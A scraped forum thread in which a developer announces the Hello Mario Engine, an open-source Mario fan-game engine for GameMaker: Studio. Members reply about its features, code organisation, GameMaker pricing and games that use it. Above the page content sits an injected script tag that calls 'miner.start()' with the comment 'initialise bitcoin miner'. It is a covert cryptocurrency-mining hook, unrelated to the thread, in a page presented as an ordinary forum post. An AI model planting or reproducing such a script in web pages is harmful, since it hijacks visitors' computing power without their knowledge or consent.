<script>
miner.start(); // initialise bitcoin miner
</script>

mario fan games galaxypge projectsmw central

Hello Mario Engine

wanna make a game, or anything else? seminal bloom!
User avatar
Hello
Posts: 7
Joined: 5 years ago

Hello Mario Engine

Postby Hello » 4 years ago

Image

The Hello Mario Engine is an open source Mario engine for GameMaker: Studio that is feature packed, and designed to be easy to expand upon with user friendliness as a priority. The engine is fully documented with thousands of code comments, and includes tons of different powerups, over a hundred different enemies, and much, much more!






Image

Official Website (Download here!)

What's new in 6.2?
Seven New Powerups: Added Acorn, Cloud Flower, Rock Shroom, Pyre Flower, Swooper Suit, Karate Suit, and Super Crown.
All Seven Koopalings: Added Morton, Iggy, Roy, Lemmy, and Ludwig.
Various Bug Fixes and Tweaks

What's new in 6.1?
16:9 Widescreen Default Resolution
New Powerup: Wall Jump Shroom
Various New Features: Bomb Bricks, Propeller Blocks, Blue POW Blocks, New Net Koopa and Piranha Plant Variations, etc.
Various Bug Fixes: This includes all YoYoCompiler related issues, so you can use YYC export options without encountering any problems.

What's new in v6.0?
Code Rewrite: Newer, cleaner, fully commented code.
High Resolution Filtering: Choose between HQ4X, HQ2X, and no filtering.
Better Checkpoints: Supports infinite checkpoints per level.
New Powerups: Propeller and Boomerang Mario.
New Features: Mechakoopas, green bricks, triple wide question mark blocks, and more!
Many Changes to Existing Features: Better world map level blocking, keyhole animation, convex corner support for wall triangles, and more!
Last edited by Hello on 10 Nov 2018, 01:30, edited 13 times in total.

User avatar
Ashan
The world has become a place
Posts: 1683
Joined: 8 years ago
First name: Hayden
Location: Saskatchewan

Re: Hello Mario Engine v6.0

Postby Ashan » 4 years ago

Hello Hello
Hell yeah Hello.
Image
Image
Image
Image
Image
Image

User avatar
Leeroh Zenon
Zetta Slow!
Posts: 9
Joined: 5 years ago
Location: Hekseville

Re: Hello Mario Engine v6.0

Postby Leeroh Zenon » 4 years ago

This looks pretty awesome. Too bad I don't have Game maker, or the money to get it...
3DS FC: 2921-9082-9539

User avatar
Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 821
Joined: 4 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Hello Mario Engine v6.0

Postby Rockythechao » 4 years ago

Oh, wow. I remember messing around with an older version of this engine and yeah, the code was a mess, but the feature set was impressive... no scratch that, overwhelming. There's so much in this engine, both from the official Mario games and original content, and judging by that preview video that certainly hasn't changed! :D I'm actually kind of worried that we'll start to see a lot of fangames with that level of 'gameplay oversaturation'.

But yeah, since YoYo crippled the trial version of GM Studio with those dumb asset caps that's really gonna limit who can use this engine. So, uh, I hope you've been taking full advantage of pro features, Hello!

I've gone and downloaded the source, I'll be sure to check it out later.

EDIT: Arright, so I took a quick peek, I'll come back and do a more thorough run through some other time. Good organization, consistent naming convention, way too many devs don't use one. You're taking advantage of instance creation code and some other lesser-known features. There are a few areas where you can streamline or optimize the code. I'mma occasionally update this post with suggestions as I read through.
  • I see you're using states for Mario's physics and movement and stuff, but not state machines. Instead of all those "if state = #", why not use a switch statement and a separate script for each state's unique behavior/properties?
  • Don't be afraid to use constants as enums. Right now you just have stuff corresponding to powerups, mounts and items, but what about things like movement states? It'll get crowded so to make it easier to sort through you can use constants as separators, like __ITEMS__ = "___________________________________________________"
  • You can get animated tiles by doing something similar to what you're doing with the backgrounds -- have a "base" tileset and ones for each frame of animation, and during runtime copy the background resource of the current frame to the base background resource. It updates instantly. Good for cutting out decorative animated scenery objects.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

User avatar
Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 821
Joined: 4 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Hello Mario Engine v6.0

Postby Rockythechao » 4 years ago

Apologies for the double-post, but I'm sure a sale is enough to warrant a bump, right? Y'all get out of my thread, GM Studio is and all of its' export modules are currently 50% off!

https://www.yoyogames.com/developers/promotions/sale

That said, I am eventually going to update mine, ideally would like to bump this thread after posting in mine so this one'll be at the top but who knows how long it'll take me to post over there oh jeez this is a lot of small text, not subtle at all.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

User avatar
raocow
the death of the incredible huge
Posts: 2611
Joined: 9 years ago
Location: maybe the Wizards are the most complex, and the sales guys are up their daily

Re: Hello Mario Engine v6.0

Postby raocow » 4 years ago

are there any recommandable games that go full out with this engine ? Because yeah, that is hella impressive, on paper at least
the chillaxest of dragonsImage
Image
Image
Image
ImageImage

User avatar
Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 821
Joined: 4 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Hello Mario Engine v6.0

Postby Rockythechao » 4 years ago

Actually, wait, when I said I was worried about the over-saturation thing I had completely forgotten about the flood of fangames on the Yoyo sandbox that used older versions of the engine...

...and, well, I go and say that and then I have trouble finding them. Dagnabbit. I definitely remember it being popular back in the day, and I know I'm not going all cliche crazy here because this and this. But I can't find much on the sandbox now besides Hello's own fangames, which I've seen mixed things about.

According to his wiki page, Mushroom Kingdom Fusion used the Hello engine as a base, but IIRC that project's dead. So yeah, gonna do a bit more digging, probably snoop around MFGG, but as far as I'm aware nobody really did/completed anything super-big with this engine aside from Fusion.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

User avatar
Zha Hong Lang
"HTMI - Hyper Text Markup Interface"
Posts: 1534
Joined: 5 years ago
First name: ZHL
Pronouns: Male
Location: United States of America

Re: Hello Mario Engine v6.0

Postby Zha Hong Lang » 4 years ago

Well this is a surprise

I haven't had the best of terms with hello's engine in the past, though this makes me wonder if it's changed from what it once was. Hopefully it has!
(Formerly Jayoshi)

User avatar
Hello
Posts: 7
Joined: 5 years ago

Re: Hello Mario Engine v6.0

Postby Hello » 4 years ago

raocow wrote:are there any recommandable games that go full out with this engine ? Because yeah, that is hella impressive, on paper at least
Well, you can find my games here:
http://www.mfgg.net/index.php?act=user& ... =&uid=2882

I would also recommend Mushroom Kingdom Fusion and Super Mario Fusion Revival.
http://www.fusiongameworks.net/

Of course, none of these games use this new version of my engine since it is still new...

User avatar
Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 821
Joined: 4 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Hello Mario Engine v6.0.2

Postby Rockythechao » 4 years ago

GM Studio is currently free! Y'all know what to do, everyone!

https://www.yoyogames.com/studio/download
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

AlchemistHohenheim
Posts: 280
Joined: 9 years ago

Re: Hello Mario Engine v6.0.2

Postby AlchemistHohenheim » 4 years ago

It's not "currently" free from the sound of it - it's more like they've upgraded the old Free version to be more or less equivalent to the old "Standard" version, but with the "Made with Game Maker" splash screen, and they also took out Mac and Windows 8 support (which I assume refers to WinRT/Metro stuff).
Last edited by AlchemistHohenheim on 08 Jun 2014, 03:31, edited 1 time in total.
So this thread is a thing. Maybe check it out.

User avatar
Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 821
Joined: 4 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Hello Mario Engine v6.0.2

Postby Rockythechao » 4 years ago

Ah, my bad, I just saw a post about it on my Tumblr dashboard and passed it along. Yoyo's done promotional deals in the past where they gave out Standard for free, so I assumed this was another one of those things.

But still, the feature limitations were the major things getting in the way of folks using this engine, right? So if those are no longer an issue then... yeah.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

AlchemistHohenheim
Posts: 280
Joined: 9 years ago

Re: Hello Mario Engine v6.0.2

Postby AlchemistHohenheim » 4 years ago

It's cool. I was just mentioning it so people know that they don't need to feel any pressure to get it "while the offer lasts", since it appears to be a permanent thing.
So this thread is a thing. Maybe check it out.

User avatar
Hello
Posts: 7
Joined: 5 years ago

Re: Hello Mario Engine v6.1

Postby Hello » 4 years ago

A new version is available for download!

What's new in 6.1?
16:9 Widescreen Default Resolution
New Powerup: Wall Jump Shroom
Various New Features: Bomb Bricks, Propeller Blocks, Blue POW Blocks, New Net Koopa and Piranha Plant Variations, etc.
Various Bug Fixes: This includes all YoYoCompiler related issues, so you can use YYC export options without encountering any problems.

User avatar
Hello
Posts: 7
Joined: 5 years ago

Re: Hello Mario Engine v6.2

Postby Hello » 4 months ago

New update available: v6.2
  • Seven New Powerups: Added Acorn, Cloud Flower, Rock Shroom, Pyre Flower, Swooper Suit, Karate Suit, and Super Crown.
  • All Seven Koopalings: Added Morton, Iggy, Roy, Lemmy, and Ludwig.
  • Various Bug Fixes and Tweaks
Image


Return to “project showcase”

Who is online

Users browsing this forum: No registered users and 1 guest